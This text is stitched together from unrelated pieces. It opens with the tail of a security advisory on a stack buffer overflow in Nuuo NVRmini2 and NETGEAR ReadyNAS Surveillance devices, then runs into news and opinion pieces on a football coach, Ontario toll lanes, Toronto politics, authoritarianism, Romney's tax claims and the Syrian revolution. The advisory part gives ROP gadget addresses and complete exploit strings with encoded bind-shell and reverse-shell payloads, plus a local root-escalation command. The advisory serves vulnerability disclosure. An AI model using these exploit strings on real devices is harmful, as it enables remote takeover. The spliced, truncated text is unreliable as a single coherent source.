0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ Enabling secure digital business >> By Date By Thread Current thread: Multiple remote vulnerabilities (RCE, bof) in Nuuo NVR and NETGEAR Surveillance Pedro Ribeiro (Aug 04) Re: Multiple remote vulnerabilities (RCE, bof) in Nuuo NVR and NETGEAR Surveillance Pedro Ribeiro (Aug 04)
Pedro Ribeiro (Aug 04)Getty Images
In the NFL world, Bobby Petrino’s reputation for not being a man of his word stems mostly from his decision to abandon the Falcons during his only season as their head coach and take a job at Arkansas. In the college football world, Petrino’s reputation for not being a man of his word goes much deeper than that.
There was the time Petrino gave his mistress a job in the Arkansas athletic department, then engaged in a cover-up after questions were raised when he crashed his motorcycle with her on the back. There was the time Petrino took a job as an assistant at Auburn without even bothering to tell his boss (Tom Coughlin) that he was leaving his previous job. There was the time he went behind the backs of his bosses at Louisville in an attempt to get Auburn to fire his former boss (Tommy Tuberville) and get himself hired in Tuberville’s place. There was the time Petrino quit Louisville six months after signing a 10-year contract extension and promising he wasn’t going anywhere.
And now we have the recruitment of Matt Colburn.
Colburn is a running back at Dutch Fork High School in South Carolina. Eight months ago, Colburn committed to play for Petrino at Louisville. (Petrino is in his second stint as Louisville’s head coach; you can be forgiven if you’re having trouble keeping up with all the twists and turns in Petrino’s career path.) Colburn is considered a three-star prospect: A very good football player, although not the kind of elite talent who has scholarship offers from all the top football schools across the country. At the time that Colburn committed, Louisville seemed like a good fit for him.
But it turned out that Louisville had more good players commit to this year’s class than they were expecting. So many good players that they couldn’t fit them all under the scholarship limit. So instead of telling some of the new kids who have come along, “Sorry, but we don’t have any more scholarships to give,” this week Petrino decided that Colburn — who shut down his own recruiting eight months ago when he committed to Louisville — wouldn’t have a scholarship to enroll at Louisville in the fall after all.
That’s a lousy way to treat a kid who made a commitment to your football program, and it leaves Colburn in limbo. The other schools that had been recruiting Colburn moved on when he announced his commitment to Louisville eight months ago, and they’ve now reached their own scholarship limits and no longer have a scholarship to offer him — and unlike Petrino, those other coaches won’t kick another kid to the curb to make room. So Colburn is now scrambling to find another college to attend.
Oh, and did I mention that Petrino didn’t even have the guts to tell Colburn himself? Petrino had an assistant coach make the call to inform Colburn that he won’t be getting a scholarship to Louisville this year.
Colburn’s high school coach, Tom Knotts, is furious and says he and some other high school coaches have decided they will no longer work with Petrino when he wants to recruit their players.
“I tell my players when you commit, you commit,” Knotts told the Spartanburg Herald-Journal. “That’s what a commitment is. Matt’s been committed for eight months. It’s irritating that men can do this. He’s just a boy, a young man. He doesn’t know how to understand it. He’s very upset. Some things have opened up but that’s not the way it should be. It’s not right. Louisville is only going to hurt themselves doing this. Everybody knows not just what a good player Matt is but what a good person he is. That is not the way to do business and if that’s the way to do business we don’t want to deal with them. [Petrino] won’t be able to recruit my school anymore and I imagine there will be some other coaches that will say the same thing. Trust factor is just not there.”
At this point, anyone who puts trust in Petrino is just asking to be betrayed. Unfortunately, Petrino is still in a position where kids who don’t know better are vulnerable to his dishonesty.The flow of traffic is more important than the flow of cash.
That’s how the Ministry of Transportation (MTO) explained why more than a year into its four-year HOT lane pilot project, it continues to undersell its own initial projections.
When the initiative was announced, the government said 1,000 permits would be available each three-month term at a cost of $180. A permit would allow solo drivers to hop into the carpool lanes for a quicker commute.
But after five terms the government continues to sell less than the 1,000 permits it initially said would be available — and for good reason according to the MTO’s Bob Nichols.
In an email to CityNews, Nichols said the original projections would have likely created more congestion.
“Originally we thought our hypothetical maximum capacity may be 1000 permits, however this is something we continue to study as we learn about and monitor network impacts.”
With that in mind, the MTO lowered its projections, saying it sold 500 permits in the first term, and around 700-800 in subsequent terms.
“We committed that in subsequent terms, the number of permits to be offered would be based on the speeds and volumes of traffic in the HOT lanes during each term.”
“The objective is to maximize the number of permits issued while maintaining good travel times in the HOT lanes.”
Minister of Transportation, Steven Del Duca, says so far, they’ve achieved that objective.
“Drivers are saving about 10 minutes per trip during peak times by using the HOT lanes compared to the general purpose lanes,” he said in a statement to CityNews. “We deploy permits as we go (because) we want to make sure that we do not inadvertently clog the HOT lanes …”
The pilot project saw the existing high-occupancy vehicle (HOV) lanes between Trafalgar Road in Oakville and Guelph Line in Burlington designated as HOT lanes.
Drivers with two or more occupants are able to use the lanes without a permit.
The goal is to eventually have a network of HOT lanes across the region to help relieve congestion.
The province hopes to launch a 15.5-kilometre stretch of dedicated HOT lanes with electronic tolling on Highway 427, from south of Highway 409 to north of Rutherford Road, in 2021.The city's compliance audit committee will meet on Wednesday to consider allegations that four right-leaning councillors broke elections law. The stakes are high, and so are tensions. The committee ordered an audit of Mayor Rob Ford's campaign financial statements in May after assessing a complaint by library board vice-chair and left-leaning activist Adam Chaleff-Freudenthaler. A new group fronted by Chaleff-Freudenthaler, Fair Elections Toronto, filed additional complaints in June about the financial statements of conservatives Doug Ford, Giorgio Mammoliti, James Pasternak and Michael Thompson.
Mayor Ford, right, and brother Doug are shown as council talks budget in this file photo from January 10. ( RICHARD LAUTENS FILE PHOTO / TORONTO STAR )
Compliance audits are expensive and stressful for politicians. Their legal fees frequently run into the tens of thousands of dollars, and they face potential sanctions ranging from fines to, less likely, removal from office. In an attempt to prevent an audit, Rob Ford has appealed the committee's decision in court. Mammoliti alleged in June that the “frivolous” complaints against him and the other councillors were the product of a conspiracy against the mayor and his allies. He said he was considering a lawsuit. Now Chaleff-Freudenthaler, the apparent target of Mammoliti's ire, has alleged in a complaint to the city's integrity commissioner that Doug Ford attempted to “bully and intimidate” him at City Hall during a council meeting Wednesday afternoon. Chaleff-Freudenthaler wrote in the complaint that Ford “accosted” him outside the council chamber. Speaking in an “aggressive tone,” Chaleff-Freudenthaler wrote, Ford told him to be “prepared” for something Ford didn't identify.
Article Continued Below
Chaleff-Freudenthaler wrote that he sought to “de-escalate the situation” by declining to “engage” with Ford, but that Ford continued to speak threateningly. Eventually, Chaleff-Freudenthaler wrote, Ford told him that he “should be careful because ‘what goes around comes around.’” Chaleff-Freudenthaler wrote: “Following those words, I asked Councillor Ford if he was threatening me. He then nervously turned around and walked away.” Doug Ford and Chaleff-Freudenthaler declined to comment. Mammoliti said in June that Chaleff-Freudenthaler's group has a “political agenda,” and that it filed the complaints in an effort to embarrass councillors who support the Ford administration. Chaleff-Freudenthaler said the four conservatives simply happen to be the councillors who appear to have contravened the Municipal Elections Act. The committee will consider another series of complaints on Monday. Among them are complaints against left-leaning Councillor Maria Augimeri and the Ford-backed challenger with whom she is embroiled in a separate court battle, Gus Cusimano.
Read more about:Right-Wing Authoritarianism and “Bozo Eruptions” In Canada’s Politics
Frances Russell
Canada’s politics has become a thicket of double standards.
As usual on Nov. 11, Remembrance Day, the prime minister lays a wreath at the National War Memorial in Ottawa in honour of the soldiers who have lost their lives, limbs and life prospects in Canada’s wars.
But there was something off colour about the ceremony this year. That’s because it reeked of hypocrisy. The current government has been waging its own little war against injured veterans to save money so it can boast about balancing the budget in the 2015 federal election.
Returning veterans are being frogmarched into doing their duty once more, this time to reduce the deficit. They are returning from Afghanistan to find not just their bodies and, in many cases their minds, damaged, but their benefits cut, their transition allowances reduced, veterans’ offices closed and finally, being discharged just as their pensions are about to start.
As the final insult, the government is even challenging veterans in court, although many of them already find themselves, broken in mind and body, living on welfare or on the street.
Simultaneously, Prime Minister Stephen Harper is pursuing his “tough on crime” agenda and continuously rewriting Canada’s Criminal Code to impose a seemingly inexhaustible – and ever more punitive – list of new and ever longer prison sentences: mandatory minimums for drugs and drug trafficking and prison for natural life for murder to name but two.
Yet he now has to square that with the panoply of drug dealers and murderers with whom his friend, Toronto Mayor Rob Ford, has apparently been consorting. The prime minister, the mayor and “Ford Nation,” the segment of Toronto’s population whose loyalty only grows with every new Bozo Eruption, are living examples of the double standard.
Put simply, the double standard states “ I can do it but you can’t because…” followed by a lengthy list of inequalities: because I’m better than you; because I’m older than you; because I’m smarter than you; because I’m richer than you; because I have more power than you; because I’m a man and you’re a woman;…because, because, because.
The double standard holds different people more, less, or not at all accountable for their actions according to different – and unequal – standards. The list of those standards is a roadmap to most of humanity’s ugliest traits, from discrimination against and persecution of those who are different or have the temerity to disagree with the power elite to outright social, gender-based, religious or ethnic discrimination to a desire to “stamp out the rot.”
Overall, it exhibits the desire for social control and hierarchical enforcement.
John Dean, legal counsel to disgraced former U.S. President Richard Nixon and author of the book “Conservatives Without Conscience,” identifies the double standard as one of twelve features of Right Wing Authoritarianism (RWA), a concept first identified and developed by University of Manitoba psychologist Bob Altemeyer, for which he won the American Association for the Advancement of Science Prize for Behavioural Science Research.
Altemeyer has studied and written extensively on right-wing authoritarianism and the mind-set and beliefs of right-wing authoritarians.
In his book Enemies of Freedom-Understanding Right Wing Authoritarianism, Altemeyer defines it as “the combination of three attitudinal clusters: authoritarian submission – a high degree of submission to the authorities who are perceived to be established and legitimate in the society in which one lives; authoritarian aggression – a general aggressiveness, directed against various persons, that is perceived to be sanctioned by established authorities; and conventionalism – a high degree of adherence to the social conventions that are perceived to be endorsed by society and its established authorities.”
People with high RWA scores tend to be more accepting of government injustices such as illegal wiretaps, letter openings, searches without warrants and arresting citizens protesting peacefully against government policies. People with high RWA scores also are more accepting of the view that “laws are laws and meant to be obeyed’ than non-authoritarians who are more likely to decide on the basis of “individual principles of conscience.”
When it comes to lawbreakers, it’s not surprising authoritarians want to impose long prison sentences, especially if the criminal is “unsavoury” and, obviously, lacking connections in high places.
High RWAs generally believe crimes are more serious than non-authoritarians. They also believe more strongly in the efficacy of punishment. They tend to see criminals as repulsive and disgusting and admit to feeling satisfaction and pleasure at being able to punish wrongdoers.
Significantly, Altemeyer also found that high RWAs can, however, be very selective if the criminal or wrongdoer in question is an authority figure. Hence, the rock-solid and perhaps even growing support still being granted to Ford even as his troubles with the law and close connections to criminals and criminal behaviour grow.
Writes Altemeyer, “…High RWAs did not want to punish Richard Nixon as much as non-authoritarians did, nor were they more punitive towards some other authorities who had aggressed against unsavoury targets, such as a police officer who beat up a demonstrator.”
This, Altemeyer says, shows the authoritarian’s own submissiveness towards officials and/or aggressive impulses towards “deviants” and “troublemakers.”
He defines three RWA attitudinal and behavioural clusters that correlate together:
“Authoritarian submission” demonstrates a high degree of submissiveness to the authorities who are perceived to be established and legitimate.
“Authoritarian aggression” displays a general aggressiveness directed against deviants, outgoups and other people who are perceived to be targets according to established authorities.
And finally, “conventionalism” exhibits a high degree of adherence to the traditions and social norms perceived to be endorsed by society and established authorities, and a belief that others in society should also be required to adhere to these norms.
Canada – and Toronto – are in the grip of governance by high RWA individuals. It’s something both electorates should keep top of mind in the next federal and Toronto civic elections.
Frances Russell was born in Winnipeg and graduated from the University of Manitoba with a Bachelor of Arts degree in history and political science. A journalist since 1962, she has covered and commented on politics in Manitoba, Ontario, B.C. and Ottawa, working for The Winnipeg Tribune, United Press International, The Globe and Mail, The Vancouver Sun and The Winnipeg Free Press as well as freelanced for The Toronto Star, The Edmonton Journal, CBC Radio and TV and Time Magazine.
She is the author of two award-winning books on Manitoba history: Mistehay Sakahegan – The Great Lake: The Beauty and the Treachery of Lake Winnipeg and The Canadian Crucible – Manitoba’s Role in Canada’s Great Divide. Both won the Manitoba Historical Society Award for popular history.
She is married with one son and two grandsons and lives in Winnipeg.Even Fox News doesn't buy Romney's "six studies" on tax policy Chris Wallace presses a Romney adviser on the "questionable" research
Your message has been sent successfully
Even Chris Wallace thinks Mitt Romney's "six studies" on his tax policy are "questionable."
In an interview with Romney campaign advisor Ed Gillespie, Wallace said that the studies "are hardly non-partisan."
Gillespie had just echoed Romney regarding the supposed "six studies" on his plan for an across-the-board tax cut. Romney has repeatedly used those studies to dispute the non-partisan Tax Policy Center's conclusion that his tax cut would cost $5 trillion over 10 years, or require a tax increase for middle-income Americans.
Advertisement:
Several of those studies are not really studies, but blog posts or Op-Eds; one is by Romney's campaign advisers, most are not non-partisan, including one from the conservative think tank the American Enterprise Institute.
In one exchange, Wallace asked Gillespie about that study:
Wallace: "You wouldn |
that people like Samira stayed 4 years in jail, and like me spent far more years in the jails of our “secular” regime.
The Islamic fundamentalists are the regime’s favorite enemy. They preferred them for two reasons: first to slander the entire revolution as narrow minded and sectarian; and, second, to bind all the religious minorities to the regime as their so-called protector.
How did the revolution combat the regime’s use of sectarianism?
IN THE first year of the Revolution, we did move toward overcoming the sectarian divisions. But the militarization of the Revolution and the discriminatory violence against the Sunnis led to deepening of sectarianization. The Sunnis became more Sunni and so did all the other religious groupings.
And this of course is the best world for the regime. It wants the Christians to be more Christian, Alawis to become more Alawi, and Sunnis to be more Sunni, Kurds to be more Kurds, and nobody to be more Syrian. It wants to be the only Syrian institution in the country balancing between these non-Syrian groups.
We couldn’t overcome this. When you have wars, massacres, you cannot preach about unity and we are all brothers and all Syrian citizens. This discourse is of course still alive, but people tire of it when there are barrel bombs over their heads, when there are chemical massacres, mass murder and torture. This discourse of Syrian nationalism was destroyed as Syrian society was destroyed.
We could not fight barrel bombs and sectarian massacres with the discourse of national unity and solidarity. We will have to recreate such a discourse, because it will be essential for political change and defending equality among Syrians, especially equality in owning politics and democratically deciding the nature of the state.
In what way the regime try and divide the revolution on ethnic lines, exploiting schisms between Arabs and Kurds? How did the regime treat the Kurds?
THE REGIME denied Kurds any rights and even their existence in Syria. They were denied the right to speak their own language, and they were not allowed to develop their own culture. Many of us in the revolution were in solidarity with the rights of the Kurds in Syria and worked hard to unite our forces.
The new element we did not account for was the Turkish based Kurdish Workers Party (PKK). Its leader, Abdullah Ocalan, had been in Damascus for a long time, and the party was an old ally of the regime before it sold them out and forced them out of the country. Ocalan insisted that there is no Syrian Kurdistan.
As a result, the PKK were not prominent political actors before the revolution. They were oriented more toward Turkey. After they left, their remaining Syrian affiliate, the Democratic Union Party (PYD), was a party among many other parties. But they were isolated from other Syrian opposition groups.
Amidst the revolution, the regime wanted at all cost to prevent the union of Arabs and Kurds against them. So in July 2012, they withdrew their army from the region of Afrin around Aleppo and from the Jazira in the northeastern party of the country. The vacuum left was filled by PKK/PYD.
The internationally based formal opposition to the regime did not understand this dynamic and did not know how to deal with it; and they made political mistakes, like not being clear in recognizing the Kurd’s right to self-determination.
Added to this difficulty was the problematic role of Turkey played in the revolution. It sided with it after six months. But Assad manipulated their entry into the conflict. The regime was happy for the PKK to see its enemy as the Turks and not itself. And Turkey’s nominal allegiance to the revolution led the PKK to distance itself more from it.
The PKK doesn’t consider itself part of the Syrian Revolution. Actually they talk about a Rojava Revolution. This discourse seems to me a mixture of exporting to Syria experiences related more to their struggle in Turkey, a nationalist expansion that is creating ethnic tensions between Kurds and Arabs in Northern Syria. At the same time, this discourse is sellable to Western imperialism as well as naïve left wing circles.
How did al Qaeda and Daesh emerge in Syria and what role did they play?
THEY DEVELOPED in two different contexts, and played an utterly destructive and counter-revolutionary role in Syria. Daesh developed in Iraq as the merger of al Qaeda and the deposed military and security cadre of Saddam Hussein’s regime. Al Qaeda itself is a merger of Saudi Wahhabism and Egyptian Qutbism. Sayyid Qutb was an Egyptian Islamist militant executed by Nasser in the 1966.
Both developed during the American invasion of Iraq. Assad also allowed them to develop bases within Syrian for their operations against the American occupation. The history of their formation lies in three destroyed societies—Afghanistan, Iraq, and Syria. The groups find a base among communities who were radicalized in societies in collapse and are looking for ways to fight their wretched conditions. This is their material root. It is not in religion—in Islam—per se, but in these social conditions.
People, however misdirected and reactionary, become extremists to fight these conditions. They don’t fight because they are Muslims. And brutal powers like American imperialism and its occupation of Iraq, the Shia sectarian regime in Iraq, the Syrian regime, or the Soviet occupation of Afghanistan in the 1980s provides them with reasons to fight.
But they are certainly not ant-imperialist. In fact, their imagery and language invoke Islamic empires of the past. They claim to be the inheritors of Islamic imperialism: they declare, “We conquered the world, from Spain to china!” This proves that their ideal is imperialist in essence. I call them the conquered imperialists (as opposed to conquering imperialists like the Americans, Russians and others), and their method of struggle is terror. The project is in essence a fascist one. Their very constitution is elitist, autocratic, and bigoted.
But we should be clear that al Qaeda or Daesh never had mass support in in Syria; and they do not try to really represent or even try to be liked by the population. Both of them played an absolutely destructive role in the Syrian Revolution. Daesh in particular fought against the genuine revolutionaries, and only secondarily against the regime. In fact, Daesh managed to work out at least for a time a modus vivendi with it.
The regime used both al Qaeda and Daesh to claim they were fighting a war on terrorism. In truth they did not target these reactionaries, but the genuine revolutionaries. Thus there is a grotesque symbiosis between what I call the fascists of the necktie like Assad and those of the beard like Daesh.
What has been the role of various regional such as Iran and Turkey and imperial powers such as Russia and the United States? What roles have they played in the revolution and counterrevolution? What has been the policy of the US in particular? Was it ever committed to regime change? Or was it committed to what they called in Yemen an “orderly transition”?
FIRST OF all, it is an insult to Syrians to think of our revolution as an aspect of America’s supposed plan for regime change. I cannot find the words to express my indignation against this. If one can ascribe any plan to the Obama administration it was regime preservation, not regime change. The Americans vetoed any meaningful arming of the Free Syrian Army at every crucial juncture.
It is a fiction that we wanted the Americans to intervene and they refused. The Americans have been intervening in Syria all the time. They pressured the surrounding powers to intervene. And they corrupted many revolutionary groups in the southern and northern parts of Syria.
But their aim was at best Assadism without Assad, the existing state minus the thuggish ruler. And they certainly abandoned that after the chemical massacre. They and the Russians struck a chemical deal with the regime, giving it a license to kill with all its other tools, including chlorine, and sarin gas indeed. And Trump is obviously willing to strike a deal with the Russian colonial power in Syria, with full knowledge that the Russians prefer Bashar as an obedient ruler of ruined Syria.
